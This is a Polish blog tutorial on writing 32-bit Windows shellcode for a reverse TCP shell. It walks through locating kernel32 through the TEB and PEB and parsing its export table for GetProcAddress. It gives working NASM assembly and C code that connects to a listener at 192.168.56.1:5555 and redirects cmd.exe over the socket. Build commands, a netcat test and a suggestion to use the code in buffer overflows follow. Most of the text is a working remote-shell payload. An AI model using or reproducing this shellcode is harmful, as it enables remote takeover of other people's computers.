Każdy z nas wie że Windows jest najpopularniejszym systemem operacyjnym do zastosowań użytkowych/rozrywkowych. W tym poście będę pisać shellcode na Windowsa 32 bitowego. Jego zadaniem będzie łączenie się do zdalnego serwera oraz wykonywanie zdalnych poleceń; pełna kontrola nad komputerem, czyli „reverse tcp shell”. Jak się do tego zabrać i czego będziemy potrzebować ? Potrzebujemy jakiegoś programu który przetworzy kod assembly na opcode’y, czyli zwyczajnie bajty, które procesor rozumie. Ja do tego celu użyję nasm’a ze względu na jego prostotę oraz obsłuję składni Intela. Oprócz tego może przydać się OllyDbg do eksperymentów z kodem i jego testowaniem. Przyda się również kompilator języka C (ja użyję GCC 7.1.0) Na końcu użyjemy programu asmloader autorstwa Gynvaela Coldwinda. Po co piszemy shellcode ? Shellcode jest to kod assemblera na daną architekturę, jest zazwyczaj kodem PIC (Position Independent Code), czyli nie ma żadnych odwołań do adresów stałych, przez co może być „wstrzyknięty” w kontekst aplikacji oraz z powodzeniem wykonany, co może skutkować przejęciem kontroli nad komputerem. Jak taki kod możemy „wstrzyknąć ” ? Jest na to wiele sposobów, a najprostszym z nich jest buffer overflow (przepełnienie bufora).

buffer overflow

Jeżeli system jest starszy (np. Windows XP) to nie występują tam zabezpieczenia przed wykonaniem kodu na stosie (brak DEP (Data Execution Prevention) ) więc tak jak na obrazku, gdy ciąg znaków „hello” przedłużymy to nadpiszemy zmienne c[12] oraz wskaźnik bar, ale nadpiszemy również wskaźnik ramki stosu EBP, oraz adres powrotu z funkcji (no ale przecież możemy wpisać tam spreparowany przez nas adres na stosie, na którym będzie ulokowany nasz shellcode). Gdy DEP jest wyłączony system operacyjny nie zaprotestuje przed wykonaniem kodu na stosie (obecnie każdy nowoczesny system operacyjny na to nie pozwala). Jeżeli natomiast w systemie jest aktywny DEP to możemy zastosować technikę ROP (Return Oriented Programming), ale to temat na inny post.

Jak więc zabrać się do pisania takiego kodu ? Stwórzmy sobie plik shellcode.asm. Zacznijmy od zaznaczenia dla nasma że będzie to kod 32 bitowy (jeżeli nie zaznaczymy tego, domyślnie myśli że jest to kod 16 bitowy). Napiszmy :

[bits 32] 

Jeżeli zajrzymy na stronę exploit-dl.com to znajdziemy tam przykładowe shellcode’y. W wielu z nich możemy znaleźć odwołanie do rejestru segmentowego FS tak jak w przykładach :

load_modules:
	push edi               ; save current offset to hashes
	push 30h
	pop ecx
	mov eax,fs:[ecx]       ; PEB base address
	mov eax,[eax+0ch]      : PEB_LDR_DATA LoaderData
	mov ebp,[eax+1ch]      : LIST_ENTRY InMemoryOrderModuleList

Jest to rejestr segmentowy 16 bitowy w którym zapisany jest adres TEB aktualnie wykonywanego wątku [a dokładnie selektor na GDT (Global Descriptor Table), z której możemy wyciągnąć adres właściwy]

(Screen z OllyDbg z testowego programu)

nasm -f win teb.asm -o teb.o && ld teb.o -o teb.exe

Jak widzimy sam rejestr ma wartość 0x3b, jednak jest to tylko numer deskryptora w GDT, który wskazuje na 0x7ffdf000 (oczywiście ten adres może się u Ciebie różnić ale będzie napewno mniejszy od 0x80000000, i na początku będzie mieć 0x7f). Na offsecie 0x18 znajduje się adres właściwy TEB (druga linijka kodu)] Struktura TEB’u ma masę pól, lecz nas interesować będzie adres PEB (Process Environment Block), który znajduje się na offsecie 0x30.

Napiszmy więc :

mov eax, fs:[0x30]

Struktura PEB wygląda następująco :

mov eax. [eax+0xC]

Zawiera ona praktycznie wszystkie informacje o procesie (informacje w polach Reserved wcale nie są takie tajemnicze jakby się wydawało 😈 ). Pole Ldr to Loader Data czyli „metadane” które zapisał sobie loader plików PE.

https://security.stackexchange.com/questions/24785/where-is-the-pe-loader-in-windows

Znajdują się tam informacje o plikach wykonywalnych które OS również wrzucił w kontekst procesu (oprócz samej aplikacji). Biblioteki które na pewno są załadowane do pamięci to (w kolejności w pamięci) :

  1. Sam plik wykonywalny który uruchomiliśmy (np. calc.exe)
  2. ntdll.dll
  3. kernel32.dll
  4. kernelbase.dll

Na podstawie tych informacji możemy dostać się do wszystkich funkcji które te biblioteki eksportują. Dla nas bardzo ważną funkcją będzie GetProcAddress (kernel32.dll), dzięki której będziemy mogli załadować potrzebne biblioteki, pobrać adresy potrzebnych funkcji, a potem utworzyć socket do komunikacji z naszym serwerem. Pliki .DLL to de facto pliki PE, znając ich strukturę możemy je „sparsować” aby dostać adres naszego wymarzonego GetProcAddress :) A potem pójdzie już z górki.

Na offsecie 0x14 znajduje się „Doubly linked list” (https://pl.wikipedia.org/wiki/Lista) Struktura LIST_ENTRY wygląda tak :

Flink to wskaźnik na pierwszy element listy, Blink wskazuje na ostatni. Więc na offsecie 0x14 jak na obrazku znajduje się Flink, a na 0x18 Blink.

mov eax, [eax+0x14]

Aktualnie w eax mamy adres pierwszego elemenu listy „modułów” załadowanych do pamięci, która to struktura wygląda tak :

Wskaźnik pobrany z _PEB_LDR_DATA [0x14] wskazuje na następny element listy (wskazane na obrazku). Nas interesuje pole DllBase na offsecie 0x10. Jest to adres bazowy załadowanej dll-ki. Przejdźmy do kernel32.dll, bo tam są wszystkie interesujące nas funkcje. Ustalmy ebp jako wskaźnik na adres bazowy kernel32, będziemy musieli odwoływać się do adresów VA (link)

mov esi,eax
mov esi, [esi] 
mov esi, [esi]
mov ebp, [esi+0x10]

Screen z testowego programu, w eax mamy DllBase. (mov esi,[esi] przenosi nas do następnego elementu listy (w esi był adres na następny element listy, więc jeżeli „wyłuskamy” ten adres uzyskamy następny element, w tym przypadku ntdll.dll)). Bardzo dobrze wytłumaczony format PE na jednym obrazku (pe101pl.png). Spójrzmy na kernel32.dll w PEView (Znajduje się w C:\Windows\System32\kernel32.dll, a na systemach 64 bitowych C:\Windows\SysWow64\kernel32.dll).

Znajdźmy teraz EXPORT Table. Znajduje się ono na offsecie 0x168 od adresu bazowego (w przypadku wersji biblioteki z Windows 7, dla innych windowsów może to być inny offset, ze względu na offset w DOS HEADER (0x3C) do PE HEADER, który różni się w różnych wersjach Windowsa). Pobierzmy tą wartość i przejdźmy do tego pola

mov edi, [ebp+0x3C]    ; offset do PE Header
add edi, 0x78          ; signature + file header + export table offset
add edi,ebp            ; EDI = VA EXPORT TABLE
mov edi,[edi]          ; offset w pliku na IMAGE EXPORT DIRECTORY
add edi,ebp            ; EDI = VA IMAGE EXPORT DIRECTORY
mov eax,[edi+0x20]     ; Name Pointer Table RVA
add eax,ebp            ; Name Pointer Table VA 

Gdy spojrzymy na adres 0xB4FC4 w pliku to prawdopodobnie wylądujemy gdzieś w EXPORT_Address Table, ten offset jest prawdziwy dla załadowanego już kernel32.dll w pamięci, bo loader nie kopiuje żywcem całego pliku do pamięci (W nagłówkach wszystkich sekcji Virtual Size i Size of Raw Data się różnią : to znaczy że sekcje te zajmują inną ilość miejsca w pliku a inną w załadowanej pamięci, np. .bss w pliku zajmuje 0 bajtów, a w pamięci jest zapisane tam np. 0x1000 zer). Skoro mamy już informacje co do exportów kernel32.dll to znajdźmy adresy dwóch funkcji :

 - GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
 - LoadLibrary(LPCTSTR lpFileName);

Dzięki GetProcAddress będziemy mogli otrzymywać adresy innych potrzebnych nam funkcji, a LoadLibrary załadujemy te biblioteki których nie ma standardowo w przestrzeni adresowej procesu (np. ws2_32.dll czy msvcrt.dll). Musimy znaleźć string „GetProcAddress” w Name Pointer Table RVA oraz policzyć na jakiej pozycji w tej liście się znajduje, więc będziemy znali jej „ordinal” przez co będziemy mogli znaleźć jej adres.

mov esi,eax           ; ESI = Name Pointer Table VA 
mov eax,[edi+0x1C]    ; EAX = Address Table RVA
add eax,ebp           ; EAX = Address Table VA

mov edx, eax          ; EDX = Address Table VA
xor ecx,ecx           ; zerujemy licznik ordinali, w ecx bedziemy mieli ordinal GetProcAddress

W rejestrze ESI mamy teraz tablice wskaźników na nazwy funkcji eksportowanych. W rejestrze EDX mamy tablice wskaźników na funkcje eksportowane. lodsd wczytuje string z ESI do EAX, oraz przesuwa ESI o +0x4 czyli przesuwa wskaźnik na następny string w tablicy. Teraz musimy sprawdzić każdą nazwę funkcji, będziemy sprawdzać po kolei co 4 bajty danego stringa. Napis musimy oczywiście zapisać w Little Endian. (PteG-Acor-erdd), bo z tego sposobu uporządkowania bajtów korzystają procesory z rodziny x86.

find_getproc:                   ; etykieta do ktorej bedziemy sie odwolywac 
inc ecx                         ; zwiekszamy ordinal funkcji
lodsd                           ; w eax jest adres stringa aktualnie sprawdzanego a esi = esi + 4
add eax,ebp                     ; string VA convert
cmp dword [eax], 0x50746547     ; GetP
jne find_getproc    
cmp dword [eax+0x4], 0x41636f72 ;rocA
jne find_getproc
cmp dword [eax+0x8], 0x65726464 ; ddre
jne find_getproc
found:                          ; znalezlismy GetProcAddress

Gdy kod dojdzie do „found” to w ECX będziemy mieli ordinal GetProcAddress, więc teraz trzeba znaleźć jej adres. Można go znaleźć na ECX (numer ordinala) pozycji w tablicy adresów. W EDX mamy tą tablicę, więc EDX + ECX * 4 to adres GetProcAddress. Spójrzmy na kod :

mov esi, [edx + ecx * 4] ; ESI = GetProcAddress
add esi,ebp ; Zamiana na VA

Teraz w ESI mamy adres GetProcAddress a w EBP DllBase kernel32.dll. Bazując na nich możemy napisać kod który będzie łączył się z serwerem zdalnym, uruchamiał cmd oraz przekierowywał wejście/wyjście na socket (czyli zdalne wykonywanie komend w cmd). Napisałem taki program w C :

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

int main (int argc,char ** argv)
{
		
    if (argc < 2)
    {
        printf("Usage pipes <ip> <port> ");
    }
    
    WSADATA wsadata;
    int result = WSAStartup (MAKEWORD(2,2),&wsadata);
    if (result != NO_ERROR)
    {
        printf("error with wsastartup");
    }
    
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons (atoi(argv[2]));
    server.sin_addr.s_addr = inet_addr (argv[1]);
    
    SOCKET soc = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    if (soc == INVALID_SOCKET)
    {
        printf("Error with creating socket");
    }
    
    if (connect(soc,(struct sockaddr *)&server,sizeof(server)) == SOCKET_ERROR)
    {
        printf("Problem with connecting");
    }
		
	PROCESS_INFORMATION piProcInfo; 
   	STARTUPINFO siStartInfo;

   	BOOL bSuccess = FALSE; 
 
   	ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
  
   	ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
   	siStartInfo.cb = sizeof(STARTUPINFO); 
   	siStartInfo.hStdError = (HANDLE)soc;
   	siStartInfo.hStdOutput = (HANDLE)soc;
   	siStartInfo.hStdInput = (HANDLE)soc;
   	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
	
	
	bool isOk = CreateProcess(
	"C:\\Windows\\System32\\cmd.exe",
	NULL,
	NULL,
	NULL,
	TRUE,
	DETACHED_PROCESS,
	NULL,
	NULL,
	&siStartInfo,
	&piProcInfo
	);
	
	WaitForSingleObject(piProcInfo.hProcess,INFINITE);

	DWORD ret = GetLastError();
	printf("%.08x",ret);

	closesocket(soc);
	WSACleanup();
	return 0;
}

Do stworzenia socket’u użyłem WSASocket, bez żadnych ustawionych flag, co pozwala pojmować HANDLE socket’u jako plik, do którego możemy pisać czy z którego możemy czytać, w przeciwieństwie do funkcji socket (). Dzięki temu możemy ustawić żeby standardowe wejście/wyjście/wyjście błędów nowego procesu (cmd.exe) było przekierowane do socketu. Flaga DETACHED_PROCESS w CreateProcess pozwala na to aby kod był uruchomiony w oderwaniu od procesu który go uruchomił nawet po zamknięciu procesu rodzica. WaitForSingleObject czeka na sygnał od nowo uruchomionego procesu (cmd.exe) w nieskończoność (INFINITE jako drugi parametr oznacza w nieskończoność), bez tej linijki program skończyłby wykonanie natychmiastowo nie czekając na nic. Gdyby chcieć przepisać taki kod w assemblerze to byłby masochizm, więc zaprzęgniemy GCC aby utworzył za nas część shellcode’u. Będziemy musieli mu powiedzieć żeby kod był niezależny od pozycji w pamięci (Position Independent Code). Użyjemy do tego przełącznika -fPIC. Stwórzmy sobie funkcję która będzie przyjmować nasz zdobyty adres funkcji GetProcAddress i DllBase kernel32.dll (przypomnijmy sobie jak tworzy się wskaźniki na funkcje w C). Jak zadeklarować taką funkcję :

#include <winsock2.h>
#include <windows.h>

// LPCSTR == const char *

// void* (__stdcall *pGetProcAddress)(HANDLE, const char * TO WSKAŹNIK NA FUNKCJE
// która zwraca void *, jest funkcją typu stdcall przyjmuje jako parametry HANDLE i const char * (LPCSTR)

void code ( void* (__stdcall *pGetProcAddress)(HANDLE, const char *),HANDLE hKern)
{}

Teraz musimy przepisać kod z mojego programu w C, korzystając z danych jakimi dysponujemy. Załadujmy bibliotekę ws2_32.dll oraz msvcrt.dll (dla memset) w kontekst procesu. Uprzedzam że w nowoczesnych standardach języka C nie powinno używać się konstrukcji typu [char * a = „text”]

char sLL [] = "LoadLibraryA";
char sMSVCRT [] = "msvcrt.dll";
char sWS2 [] = "ws2_32.dll";

HANDLE (__stdcall *pLoadLibrary)(const char * lpFileName) = pGetProcAddress(hKern,sLL);

HANDLE hWinSock = pLoadLibrary(sWS2);
HANDLE hMSVCRT = pLoadLibrary (sMSVCRT);

Aby wszystkie stringi były zapisane w sekcji .text musimy zapisać je do zmiennej lokalnej typu char *. Mając załadowane potrzebne biblioteki załadujmy z nich wszystkie potrzebne funkcje oraz dokończmy nasz shellcode.

    char sLL [] = "LoadLibraryA";
    char sWS2 [] = "ws2_32.dll";
    char sWSAStartup [] = "WSAStartup";
    char sWSASocket [] = "WSASocketA";
    char sConnect [] = "connect";
    char sCreateProcess [] = "CreateProcessA";
    char sWait [] = "WaitForSingleObject";
    const char sCMD [] ="C:\\Windows\\System32\\cmd.exe";
    char sClosesocket [] = "closesocket";
    char sWSACleanup [] = "WSACleanup";
    char sMemset [] = "memset";
    char sMSVCRT [] = "msvcrt.dll";
    
    HANDLE (__stdcall *pLoadLibrary)(const char * lpFileName) = pGetProcAddress(hKern,sLL);

    HANDLE hWinSock = pLoadLibrary(sWS2);
    HANDLE hMSVCRT = pLoadLibrary (sMSVCRT);

    int (__stdcall *pWSAStartup)(WORD,LPWSADATA) = pGetProcAddress(hWinSock,sWSAStartup);

    SOCKET (__stdcall *pWSASocket)(int,int,int,LPWSAPROTOCOL_INFO,GROUP,DWORD) = pGetProcAddress(hWinSock,sWSASocket);

   int (__stdcall *pConnect)(SOCKET,const struct sockaddr *name,int) = pGetProcAddress(hWinSock,sConnect);


   BOOL (__stdcall *pCreateProcess)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTSTR,LPSTARTUPINFO,LPPROCESS_INFORMATION) = pGetProcAddress(hKern,sCreateProcess);
	
   DWORD (__stdcall *pWaitForSingleObject)(HANDLE,DWORD) = pGetProcAddress(hKern,sWait);

   int (__stdcall *pClosesocket)(SOCKET) = pGetProcAddress(hWinSock,sClosesocket);

   int (__stdcall *pWSACleanup) (void) = pGetProcAddress (hWinSock,sWSACleanup);

   void * (__stdcall *pMemset)(void *,int, size_t) = pGetProcAddress (hMSVCRT,sMemset);
    
    WSADATA wsadata;
    pWSAStartup (202,&wsadata); // MAKEWORD (2,2) == 202
    
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = 0xB315; // port, Little Endian, tutaj 5555
    server.sin_addr.s_addr = 0x0138A8C0; // tutaj wpisujemy adres IP na który chcemy się połączyć w Little Endian, tutaj 192.168.56.1
    // 192 == 0xC0
    // 168 == 0xA8
    // 56 == 0x38
   //  01 == 0x01
    SOCKET soc = pWSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

    pConnect(soc,(struct sockaddr *)&server,sizeof(server));
	
    PROCESS_INFORMATION piProcInfo; 
    STARTUPINFO siStartInfo;
	
 	pMemset (&piProcInfo,0,sizeof(PROCESS_INFORMATION));
	pMemset (&siStartInfo,0,sizeof(STARTUPINFO));

   	siStartInfo.cb = sizeof(STARTUPINFO); 
   	siStartInfo.hStdError = (HANDLE)soc;
   	siStartInfo.hStdOutput = (HANDLE)soc;
   	siStartInfo.hStdInput = (HANDLE)soc;
   	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
	
	pCreateProcess(
	sCMD,
	NULL,
	NULL,
	NULL,
	TRUE,
	DETACHED_PROCESS,
	NULL,
	NULL,
	&siStartInfo,
	&piProcInfo
	);
	
	pWaitForSingleObject(piProcInfo.hProcess,INFINITE);


	pClosesocket(soc);
	pWSACleanup();

Aby wykonać tą funkcje z pierwszego kodu assembly, musimy przekazać jej argumenty (oczywiście od tyłu wrzucić na stos)

push ebp
push esi
push 0 ; adres powrotu z funkcji, niech będzie 0x00000000, niech się wykrzaczy

Skompilujmy i połączmy nasz shellcode w całość :

nasm code1.asm -o code1.bin

gcc code2.c -nostdlib -fPIC -c -o code2.o

objcopy -O binary --only-section=.text code2.o code2.bin

copy code1.bin+code2.bin shellcode.bin

asmloader shellcode.bin

NASM bez żadnych przełączników generuje tylko bajty kodu maszynowego czyli to co nas interesuje. Przełącznik „-c „ kompiluje do pliku obiektowego, -nostdlib aby GCC nie używał systemowych bibliotek standardu języka C.Polecenie copy pozwala nam połączyć dwa pliki w jeden (podobnie jak cat na linuxie). Otrzymamy shellcode.bin z bajtami kodu.

Czyż nie wygląda to pięknie :) ?

Możemy sprawdzić czy nasz kod działa poprzez mały programik „asmloader”, który alokuje wykonywalną pamięć, kopiuje podany do niego kod i do niego skacze (być może w innym poście wytłumaczę jak napisać taki programik). Sprawdźmy więc :

asmloader shellcode.bin

A na drugim komputerze ustawiłem netcat aby oczekiwał na połączenia na porcie 5555.

Jak widać mamy nasz upragniony wynik 😃 Możecie zobaczyć pliki na pulpicie mojego komputera z Windowsem. Można również pokusić się o usunięcie z shellcodu bajtów zerowych i wykorzystać go do buffer overflow. Myślę że dzięki temu eksperymentowi dużo mogliście nauczyć się o tym jak działa Windows, no i napisaliście własny shellcode ! Jeżeli program się „wykrzacza” to możemy użyć Ollydbg do znalezienia problemu :

ollydbg asmloader shellcode.bin

Dominik Tamiołło